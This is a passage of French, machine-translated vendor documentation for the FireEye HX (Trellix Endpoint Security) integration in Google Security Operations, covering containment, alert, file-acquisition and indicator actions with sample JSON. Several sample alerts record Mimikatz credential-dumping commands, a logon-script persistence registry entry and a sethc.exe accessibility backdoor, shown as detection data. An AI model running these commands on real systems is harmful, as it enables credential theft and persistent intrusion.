Google utilise la technologie IA pour traduire le contenu dans votre langue préférée. Les traductions générées par IA peuvent contenir des erreurs.

FireEye HX

Ce document explique comment intégrer FireEye HX à Google Security Operations.

Configurer l'intégration de FireEye HX dans Google Security Operations

Pour obtenir des instructions détaillées sur la configuration d'une intégration dans Google SecOps, consultez Configurer des intégrations.

Paramètres d'intégration

Utilisez les paramètres suivants pour configurer l'intégration :

Nom à afficher du paramètre	Type	Valeur par défaut	Est obligatoire	Description
Nom de l'instance	Chaîne	N/A	Non	Nom de l'instance pour laquelle vous souhaitez configurer l'intégration.
Description	Chaîne	N/A	Non	Description de l'instance.
Serveur	Chaîne	https://x.x.x.x:<port>	Oui	Adresse de l'instance Trellix Endpoint Security.
Nom d'utilisateur	Chaîne	N/A	Oui	Adresse e-mail de l'utilisateur à utiliser pour se connecter à Trellix Endpoint Security.
Mot de passe	Mot de passe	N/A	Oui	Mot de passe de l'utilisateur correspondant.
Vérifier le protocole SSL	Case à cocher	Cochée	Oui	Cochez cette case si votre connexion Trellix Endpoint Security nécessite une validation SSL (cochée par défaut).
Exécuter à distance	Case à cocher	Décochée	Non	Cochez le champ pour exécuter l'intégration configurée à distance. Une fois cette option cochée, l'option permettant de sélectionner l'utilisateur distant (agent) s'affiche.

Actions

Annuler le confinement de l'hôte

Utilisez l'action Cancel Host Contain (Annuler le confinement de l'hôte) pour supprimer un hôte du confinement sur le serveur Trellix Endpoint Security en fonction des entités d'adresse IP ou de nom d'hôte Google SecOps.

Entrées de l'action

L'action Annuler le confinement de l'hôte nécessite les paramètres suivants :

Paramètre	Description
`Agent Id`	Optional ID d'agent de l'hôte à supprimer du confinement. Si aucun ID n'est fourni, l'action tente de résoudre l'ID de l'agent à partir des entités Hostname ou Address associées.

Sorties de l'action

L'action Annuler le confinement de l'hôte fournit les résultats suivants :

Type de sortie de l'action	Disponibilité
Pièce jointe au mur des cas	Non disponible
Lien vers le mur des cas	Non disponible
Tableau du mur des cas	Non disponible
Table d'enrichissement	Non disponible
Résultat JSON	Non disponible
Résultat du script	Disponible

Résultat du script

Le tableau suivant liste la valeur de la sortie du résultat du script lorsque vous utilisez l'action Annuler le confinement de l'hôte :

Nom du résultat du script	Valeur
`is_success`	`true` ou `false`

Messages de sortie de l'action

L'action Annuler le confinement de l'hôte fournit les messages de sortie suivants :

Message de sortie	Description du message
`Successfully requested to cancel host containment.`	Action effectuée.
`Error executing action "Cancel Host Contain". Reason: ERROR_REASON`	Échec de l'action. Vérifiez la connexion au serveur, les paramètres d'entrée ou les identifiants.

Vérifier l'état du confinement

Utilisez l'action Vérifier l'état de confinement pour vérifier l'état de confinement d'un hôte dans Trellix Endpoint Security.

Entrées de l'action

L'action Vérifier l'état de confinement nécessite les paramètres suivants :

Paramètre	Description
`Agent Id`	Optional ID d'agent de l'hôte dont vous souhaitez vérifier l'état de confinement. Si aucun ID n'est fourni, l'action tente de résoudre l'ID de l'agent à partir des entités de nom d'hôte ou d'adresse IP associées.

Sorties de l'action

L'action Vérifier l'état du confinement fournit les résultats suivants :

Type de sortie de l'action	Disponibilité
Pièce jointe au mur des cas	Non disponible
Lien vers le mur des cas	Non disponible
Tableau du mur des cas	Non disponible
Table d'enrichissement	Non disponible
Résultat JSON	Disponible
Résultat du script	Disponible

Résultat JSON

L'exemple suivant montre le résultat JSON reçu lors de l'utilisation de l'action Vérifier l'état de confinement :

{
  "operation_results": {
    "agent-123": {
      "operation": "containment_status",
      "result": "success",
      "status": "contained",
      "reason": null
    }
  },
  "device_metadata": {}
}

Résultat du script

Le tableau suivant liste la valeur de la sortie du résultat du script lorsque vous utilisez l'action Vérifier l'état de confinement :

Nom du résultat du script	Valeur
`is_success`	`true` ou `false`

Messages de sortie de l'action

L'action Vérifier l'état de confinement fournit les messages de sortie suivants :

Message de sortie	Description du message
`Successfully checked containment status for specified host.`	Action effectuée.
`Error executing action "Check Containment Status". Reason: ERROR_REASON`	Échec de l'action. Vérifiez la connexion au serveur, les paramètres d'entrée ou les identifiants.

Contenir l'hôte

Description

Créez une tâche d'hôte de confinement sur le serveur Trellix Endpoint Security en fonction de l'adresse IP Google SecOps ou des entités hôtes Google SecOps.

Paramètres

Paramètre	Type	Valeur par défaut	Est obligatoire	Description
ID de l'agent	Chaîne	N/A	Non	ID d'agent de l'hôte à contenir. Si l'ID de l'agent n'est pas fourni, l'action tentera de le résoudre à partir des entités "Nom d'hôte" ou "Adresse" associées.
Approuver le confinement	Case à cocher	Décochée	Oui	Indiquez si une demande de confinement pour l'hôte doit être automatiquement approuvée pour créer une tâche d'hôte de confinement sur le serveur Trellix Endpoint Security. Si elle n'est pas approuvée automatiquement, une demande de confinement peut être approuvée dans la console Web Trellix Endpoint Security.

Exécuter sur

Cette action s'exécute sur les entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

N/A

Recevoir des alertes

Description

Obtenez des alertes de sécurité Trellix Endpoint Security en fonction de l'entité Google SecOps et des conditions de recherche fournies. L'action fonctionne sur les entités hôte ou IP de Google SecOps.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Est obligatoire	Description
Limite	Integer	N/A	Non	Nombre d'alertes que l'action doit renvoyer (par exemple, 100).
Possède un mode de partage	Liste déroulante _(par défaut = n'importe lequel)_	_default = any_	Non	Filtrez les alertes déclenchées par des indicateurs avec un mode de partage spécifique. _Valeurs disponibles : any, restricted et unrestricted._
État de résolution de l'alerte	Liste déroulante _(par défaut = n'importe lequel)_	_default = any_	Non	Filtrez les alertes en fonction de leur état de résolution. Valeurs disponibles : _any, active_threat, alert, block, partial_block._
Alerte signalée au cours des x dernières heures	Integer	N/A	Non	Filtrer les alertes signalées au cours des x dernières heures, par exemple les 4 dernières heures.
Source de l'alerte	Liste déroulante _(par défaut = n'importe lequel)_	_default = any_	Non	Source de l'alerte. Valeurs disponibles : any, exd (détection d'exploitation), mal (alerte de logiciel malveillant), ioc (indicateur de compromission).
ID de la condition	Chaîne	N/A	Non	Filtrer les alertes en fonction d'un identifiant de condition spécifique.
ID d'alerte	Chaîne	N/A	Non	Renvoyer une alerte spécifique à l'aide de son identifiant.

Exécuter sur

Cette action s'exécute sur les entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

[
    {
        "EntityResult": [{
            "indicator": {
                "category": "Mandiant",
                "display_name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "url": "/hx/api/v3/indicators/mandiant/b7eae353_be50_44cf_8773_7067e9c66d7b",
                "signature": null,
                "_id": "b7eae353-be50-44cf-8773-7067e9c66d7b",
                "uri_name": "b7eae353-be50-44cf-8773-7067e9c66d7b"
            },
            "event_id": 12880,
            "event_values": {
                "processEvent/processCmdLine": "at  13:00 \\\"C:\\\\TMP\\\\mim.exe sekurlsa::LogonPasswords > C:\\\\TMP\\\\o.txt\\\"",
                "processEvent/parentPid": 4832,
                "processEvent/md5": "e2a9c62b47f64525f7eb0cb8d637ff90",
                "processEvent/processPath": "C:\\\\Windows\\\\System32\\\\at.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/timestamp": "2020-05-29T10:21:03.419Z",
                "processEvent/startTime": "2020-05-29T10:21:03.419Z",
                "processEvent/process": "at.exe",
                "processEvent/username": "DOMAIN-COM\\\\Administrator",
                "processEvent/pid": 7332,
                "processEvent/parentProcessPath": "C:\\\\Windows\\\\System32\\\\cmd.exe",
                "processEvent/eventType": "start"
            },
            "event_type": "processEvent",
            "subtype": null,
            "reported_at": "2020-05-29T10:24:05.410Z",
            "decorators": [],
            "md5values": ["e2a9c62b47f64525f7eb0cb8d637ff90"],
            "appliance": {
                "_id": "86B7F11ACF8D"
            },
            "agent": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id": "FqNP4ybCdrlfVqG3lrCvRP",
                "containment_state": "normal"
            },
            "is_false_positive": false,
            "event_at": "2020-05-29T10:21:03.419Z",
            "source": "IOC",
            "matched_at": "2020-05-29T10:23:22.000Z",
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/88",
            "_id": 88,
            "resolution": "ALERT",
            "condition": {
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA==",
                "_id": "yirelRwhiuXlF0bQhTL4GA=="
            },
            "matched_source_alerts": []
        }],
        "Entity": "PC-01"
    }
]

Obtenir les détails du groupe d'alertes

Description

Obtenez toutes les informations sur le groupe d'alertes fourni à l'aide de son ID.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Est obligatoire	Description
ID des groupes d'alertes	Chaîne	N/A	Oui	Spécifiez une liste d'ID de groupes d'alertes dont vous souhaitez récupérer les détails, séparés par une virgule.

Exécuter sur

Cette action ne s'exécute pas sur les entités, elle comporte un paramètre d'entrée obligatoire.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

{
    "details": [],
    "route": "/hx/api/v3/alert_groups/id",
    "data": {
        "_id": "622d3688031aa40faa4bd86028841276",
        "assessment": "[Process reg.exe started] MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
        "file_full_path": "C:\\Windows\\System32\\reg.exe",
        "first_event_at": "2020-08-06T06:32:55.761Z",
        "last_event_at": "2020-08-06T06:32:55.761Z",
        "dispositions": [],
        "source": "IOC",
        "has_fp_disposition": false,
        "last_alert": {
            "_id": 729,
            "agent": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "containment_state": "normal"
            },
            "condition": {
                "_id": "yirelRwhiuXlF0bQhTL4GA==",
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA=="
            },
            "event_at": "2020-08-06T06:32:55.761+00:00",
            "matched_at": "2020-08-06T06:37:55+00:00",
            "reported_at": "2020-12-18T14:03:18.856+00:00",
            "source": "IOC",
            "resolution": "ALERT",
            "decorators": [],
            "md5values": [
                "05cf3ce225b05b669e3118092f4c8eab"
            ],
            "decorator_sources": [],
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/729",
            "event_id": 207,
            "event_type": "processEvent",
            "event_values": {
                "processEvent/timestamp": "2020-08-06T06:32:55.761Z",
                "processEvent/eventType": "start",
                "processEvent/pid": 10356,
                "processEvent/processPath": "C:\\Windows\\System32\\reg.exe",
                "processEvent/process": "reg.exe",
                "processEvent/parentPid": 9456,
                "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/username": "FIREEYE-LAB\\Administrator",
                "processEvent/startTime": "2020-08-06T06:32:55.761Z",
                "processEvent/md5": "05cf3ce225b05b669e3118092f4c8eab",
                "processEvent/processCmdLine": "REG  ADD HKCU\\Environment /f /v UserInitMprLogonScript /t REG_MULTI_SZ /d \"C:\\TMP\\mim.exe sekurlsa::LogonPasswords > C:\\TMP\\o.txt\""
            },
            "is_false_positive": false
        },
        "generic_alert_badge": null,
        "generic_alert_label": null,
        "stats": {
            "events": 1
        },
        "url": "/hx/api/v3/alert_groups/622d3688031aa40faa4bd86028841276",
        "created_at": "2020-12-18T14:03:24.535Z",
        "acknowledgement": {
            "acknowledged": false,
            "acknowledged_by": null,
            "acknowledged_time": null,
            "comment": null,
            "comment_update_time": null
        },
        "grouped_by": {
            "condition_id": "yirelRwhiuXlF0bQhTL4GA==",
            "detected_by": "ioc_engine",
            "host": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "primary_ip_address": "172.30.202.55"
            }
        }
    },
    "message": "OK"
}

Mur des cas

Type de résultat

Valeur/Description

Type

Message de sortie*

Réussite pour 1 (is_success=true) : Les détails des groupes d'alertes suivants ont bien été récupérés dans Trellix Endpoint Security : {alert group ids}

Échec pour 1 (is_success=true) : l'action n'a pas pu récupérer les détails des groupes d'alertes suivants dans Trellix Endpoint Security : {alert group ids}

Échec pour tous (is_success=false) : aucun des groupes d'alertes fournis n'a été trouvé dans Trellix Endpoint Security.

Général

Mur des cas

Nom : Détails du groupe d'alertes

Colonne :

Évaluation
ID du groupe d'alertes
Premier événement
Dernier événement
Confirmé
ID de la dernière alerte HX

Général

Obtenir les alertes d'un groupe d'alertes

Description

Obtenir toutes les alertes trouvées dans le groupe d'alertes spécifié

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Est obligatoire	Description
ID du groupe d'alertes	Chaîne	N/A	Oui	Spécifiez une liste d'ID de groupes d'alertes dont vous souhaitez récupérer les détails, séparés par une virgule.
Limite	Integer	50	Non	Spécifiez le nombre maximal de fiches d'alertes renvoyées par l'API pour le groupe d'alertes. La valeur par défaut est 50.

Exécuter sur

Cette action ne s'exécute pas sur les entités, elle comporte un paramètre d'entrée obligatoire.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": 712,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T08:04:09.521Z",
                "matched_at": "2020-12-10T08:04:43.000Z",
                "reported_at": "2020-12-10T08:04:49.607Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/712",
                "event_id": 853899,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T08:04:09.521Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8800,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            },
            {
                "_id": 723,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T09:26:14.114Z",
                "matched_at": "2020-12-10T09:26:56.000Z",
                "reported_at": "2020-12-10T09:27:08.735Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/723",
                "event_id": 880771,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8740,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups/group_id/alerts"
}

Mur des cas

Type de résultat	Valeur/Description	Type
Message de sortie*	Réussite pour 1 (is_success=true) : les détails des groupes d'alertes suivants ont bien été récupérés dans Trellix Endpoint Security : {alert group ids} Échec pour 1 (is_success=true) : l'action n'a pas pu récupérer les détails des groupes d'alertes suivants dans Trellix Endpoint Security : {alert group ids} Échec pour tous (is_success=false) : aucun des groupes d'alertes fournis n'a été trouvé dans Trellix Endpoint Security.	Général
Mur des cas	Nom : "Groupe d'alertes de sécurité Trellix Endpoint Security +{alert_group_id)" Colonne : ID d'alerte Trellix Endpoint Security Nom de l'indicateur Heure de l'événement Heure de la correspondance Date et heure du signalement Source Type d'événement	Général

Type de résultat

Valeur/Description

Type

Message de sortie*

Réussite pour 1 (is_success=true) : les détails des groupes d'alertes suivants ont bien été récupérés dans Trellix Endpoint Security : {alert group ids}

Échec pour 1 (is_success=true) : l'action n'a pas pu récupérer les détails des groupes d'alertes suivants dans Trellix Endpoint Security : {alert group ids}

Échec pour tous (is_success=false) : aucun des groupes d'alertes fournis n'a été trouvé dans Trellix Endpoint Security.

Général

Mur des cas

Nom : "Groupe d'alertes de sécurité Trellix Endpoint Security +{alert_group_id)"

Colonne :

ID d'alerte Trellix Endpoint Security
Nom de l'indicateur
Heure de l'événement
Heure de la correspondance
Date et heure du signalement
Source
Type d'événement

Général

Obtenir le fichier

Utilisez l'action Obtenir un fichier pour créer une tâche d'acquisition de fichiers sur un hôte FireEye HX.

Entrées de l'action

L'action Get File nécessite les paramètres suivants :

Paramètre	Description
`Agent Id`	Optional ID de l'agent de l'hôte à partir duquel acquérir le fichier. Si aucun ID n'est fourni, l'action tente de résoudre l'ID de l'agent à partir des entités de nom d'hôte ou d'adresse IP associées.
`File Path`	Obligatoire Chemin d'accès complet du fichier à acquérir sur le point de terminaison cible (par exemple, `C:\Windows\System32\notepad.exe` ou `/tmp/malware.sh`).
`Use API Mode`	Optional Si cette option est sélectionnée, l'acquisition de fichiers utilise les API du système de fichiers de l'OS au lieu des lectures de disque brutes. Obligatoire pour les points de terminaison Linux. Non sélectionné par défaut.
`External Id`	Optional Identifiant externe personnalisé à associer à la tâche d'acquisition de fichiers.

Sorties de l'action

L'action Obtenir un fichier fournit les résultats suivants :

Type de sortie de l'action	Disponibilité
Pièce jointe au mur des cas	Non disponible
Lien vers le mur des cas	Non disponible
Tableau du mur des cas	Non disponible
Table d'enrichissement	Non disponible
Résultat JSON	Disponible
Résultat du script	Disponible

Résultat JSON

L'exemple suivant montre le résultat JSON obtenu lors de l'utilisation de l'action Obtenir un fichier :

{
  "agent_id": "KE7IdyTFl9fcUyHoPVKOWe",
  "file_name": "notepad.exe",
  "file_path": "C:\\windows\\system32",
  "acquisition_id": 14,
  "_id": 14,
  "_revision": "20241031012314519770835082",
  "error_message": null,
  "comment": null,
  "state": "COMPLETE",
  "md5": "c5b188ac73d5dca677cf5712f65de5af",
  "zip_file_size": "178427",
  "request_time": "2024-10-31T01:21:50Z",
  "request_actor": {
    "_id": 1011,
    "username": "md_services"
  },
  "req_path": "C:\\windows\\system32",
  "req_filename": "notepad.exe",
  "req_multifile_parameters": {
    "isMultiFile": false
  },
  "req_use_api": false,
  "zip_passphrase": "unzip-me",
  "external_id": "File Acquisition Alert_ee345c69-5b84-4b7a-81a4-ea205fc5cd51",
  "finish_time": "2024-10-31T01:23:14.519Z",
  "indicator": null,
  "url": "/hx/api/v3/acqs/files/14",
  "host": {
    "_id": "KE7IdyTFl9fcUyHoPVKOWe",
    "url": "/hx/api/v3/hosts/KE7IdyTFl9fcUyHoPVKOWe"
  },
  "alert": null,
  "condition": null,
  "download_path": "/tmp/example_acquisition.zip"
}

Résultat du script

Le tableau suivant liste la valeur de la sortie du résultat du script lorsque vous utilisez l'action Get File (Obtenir un fichier) :

Nom du résultat du script	Valeur
`is_success`	`true` ou `false`

Messages de sortie de l'action

L'action Obtenir un fichier fournit les messages de sortie suivants :

Message de sortie	Description du message
`Successfully acquired file from host.`	Action effectuée.
`Error executing action "Get File". Reason: ERROR_REASON`	Échec de l'action. Vérifiez la connexion au serveur, les paramètres d'entrée ou les identifiants.

Obtenir des informations sur l'hôte

Description

Enrichissez les entités d'hôte ou d'adresse IP Google SecOps en fonction des informations de Trellix Endpoint Security.

Exécuter sur

Cette action s'exécute sur les entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

[
    {
        "EntityResult": {
            "last_alert": {
                "url": "/hx/api/v3/alerts/254",
                "_id": 254
            },
            "domain": "EXAMPLE-COM",
            "last_exploit_block_timestamp": null,
            "containment_state": "normal",
            "timezone": "\\u05e9\\u05e2\\u05d5\\u05df \\u05e7\\u05d9\\u05e5 \\u05d9\\u05e8\\u05d5\\u05e9\\u05dc\\u05d9\\u05dd",
            "gmt_offset_seconds": 10800,
            "initial_agent_checkin": "2020-05-29T10:11:12.022Z",
            "stats": {
                "alerting_conditions": 10,
                "exploit_alerts": 0,
                "acqs": 4,
                "malware_false_positive_alerts": 0,
                "alerts": 10,
                "exploit_blocks": 0,
                "false_positive_alerts": 0,
                "malware_cleaned_count": 0,
                "malware_alerts": 0,
                "false_positive_alerts_by_source": {},
                "generic_alerts": 0,
                "malware_quarantined_count": 0
            },
            "primary_mac": "00-50-56-11-22-33",
            "hostname": "HW-HOST-025",
            "primary_ip_address": "1.1.1.1",
            "last_audit_timestamp": "2020-06-01T09:10:38.752Z",
            "last_alert_timestamp": "2020-06-01T08:02:30.817+00:00",
            "containment_queued": false,
            "sysinfo": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP/sysinfo"
            },
            "last_exploit_block": null,
            "reported_clone": false,
            "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
            "excluded_from_containment": false,
            "last_poll_timestamp": "2020-06-01T09:10:36.000Z",
            "last_poll_ip": "1.1.1.1",
            "containment_missing_software": false,
            "_id": "FqNP4ybCdrlfVqG3lrCvRP",
            "os": {
                "kernel_version": null,
                "platform": "win",
                "patch_level": null,
                "bitness": "64-bit",
                "product_name": "Windows 10 Pro"
            },
            "agent_version": "32.30.0"
        },
        "Entity": "PC-01"
    }
]

Obtenir un indicateur

Description

Obtenez des informations sur un indicateur spécifique à partir du serveur Trellix Endpoint Security.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Est obligatoire	Description
Catégorie d'indicateur	Chaîne	N/A	Oui	Spécifiez la valeur uri_name de la catégorie d'indicateur. Vous pouvez trouver uri_name en exécutant l'action "Get Indicators".
Nom de l'indicateur	Chaîne	N/A	Oui	Spécifiez la valeur uri_name de l'indicateur. Vous pouvez trouver uri_name en exécutant l'action "Obtenir des indicateurs".

Exécuter sur

Cette action s'exécute sur toutes les entités.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

{
    "category": {
        "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
        "_id": 7,
        "uri_name": "mandiant_unrestricted",
        "name": "Mandiant Unrestricted Intel",
        "share_mode": "unrestricted"
    },
    "display_name": "FIREEYE END2END TEST",
    "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
    "create_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "active_since": "2020-05-28T13:08:08.513Z",
    "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
    "_revision": "20200528130929238120103414",
    "create_text": "General_Windows_unrestricted_2020.05.270833",
    "created_by": "General_Windows_unrestricted_2020.05.270833",
    "update_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "meta": null,
    "signature": null,
    "platforms": ["win\", \"osx\", \"linux"],
    "stats": {
        "source_alerts": 0,
        "alerted_agents": 1,
        "active_conditions": 7
    },
    "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "name": "FIREEYE END2END TEST"
}

Obtenir des indicateurs

Description

Obtenez des informations sur les indicateurs de compromission (IOC) à partir du serveur Trellix Endpoint Security en fonction des paramètres de recherche fournis.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Est obligatoire	Description
Catégorie d'indicateur	Chaîne	N/A	Non	Catégorie de l'indicateur.
Terme de recherche	Chaîne	N/A	Non	Le terme de recherche peut être n'importe quel nom, catégorie, signature, source ou valeur de condition.
Limite	Chaîne	N/A	Non	Nombre d'indicateurs que l'action doit renvoyer (par exemple, 100).
Mode de partage	Liste déroulante _(par défaut = n'importe lequel)_	_default = any_	Non	Filtrer les indicateurs en fonction d'un mode de partage spécifique. _Valeurs disponibles : any, restricted, unrestricted._
Trier par champ	Chaîne	N/A	Non	Trie les résultats par ordre croissant en fonction du champ spécifié.
Créé par	Chaîne	N/A	Non	Filtrer les indicateurs en fonction de l'auteur.
Comporte des alertes associées	Case à cocher	N/A	Non	Indiquez si seuls les indicateurs associés à des alertes doivent être renvoyés.

Exécuter sur

Cette action s'exécute sur toutes les entités.

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

[
    {
        "category": {
            "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
            "_id": 7,
            "uri_name": "mandiant_unrestricted",
            "name": "Mandiant Unrestricted Intel",
            "share_mode": "unrestricted"
        },
        "display_name": "FIREEYE END2END TEST",
        "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
        "create_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "active_since": "2020-05-28T13:08:08.513Z",
        "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
        "_revision": "20200528130929238120103414",
        "create_text": "General_Windows_unrestricted_2020.05.270833",
        "created_by": "General_Windows_unrestricted_2020.05.270833",
        "update_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "meta": null,
        "signature": null,
        "platforms": ["win", "osx", "linux"],
        "stats": {
            "source_alerts": 0,
            "alerted_agents": 1,
            "active_conditions": 7
        },
        "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "name": "FIREEYE END2END TEST"
    }
]

Obtenir la liste des acquisitions de fichiers pour l'hôte

Description

Obtenez la liste des acquisitions de fichiers demandées pour l'hôte à partir du serveur Trellix Endpoint Security. L'action fonctionne sur les entités Google SecOps de type hôte ou adresse IP.

Paramètres

Nom à afficher du paramètre	Type	Valeur par défaut	Est obligatoire	Description
Terme de recherche	Chaîne	N/A	Non	Recherche toutes les acquisitions de fichiers pour les hôtes connectés au serveur Trellix Endpoint Security. "search_term" peut être n'importe quelle valeur de condition.
Limite	Chaîne	N/A	Non	Nombre d'enregistrements que l'action doit renvoyer (par exemple, 100).
Champ de filtre	Chaîne	N/A	Non	Répertorie uniquement les résultats avec la valeur de champ spécifiée. Les résultats peuvent être filtrés par identifiant de corrélation externe (external_id).

Exécuter sur

Cette action s'exécute sur les entités suivantes :

Adresse IP
Nom d'hôte

Résultats de l'action

Résultat du script

Nom du résultat du script	Options de valeur	Exemple
is_success	Vrai/Faux	is_success:False

Résultat JSON

[
    {
        "EntityResult": [{
            "comment": " ",
            "zip_passphrase": "unzip-me",
            "indicator": {
                "url": null,
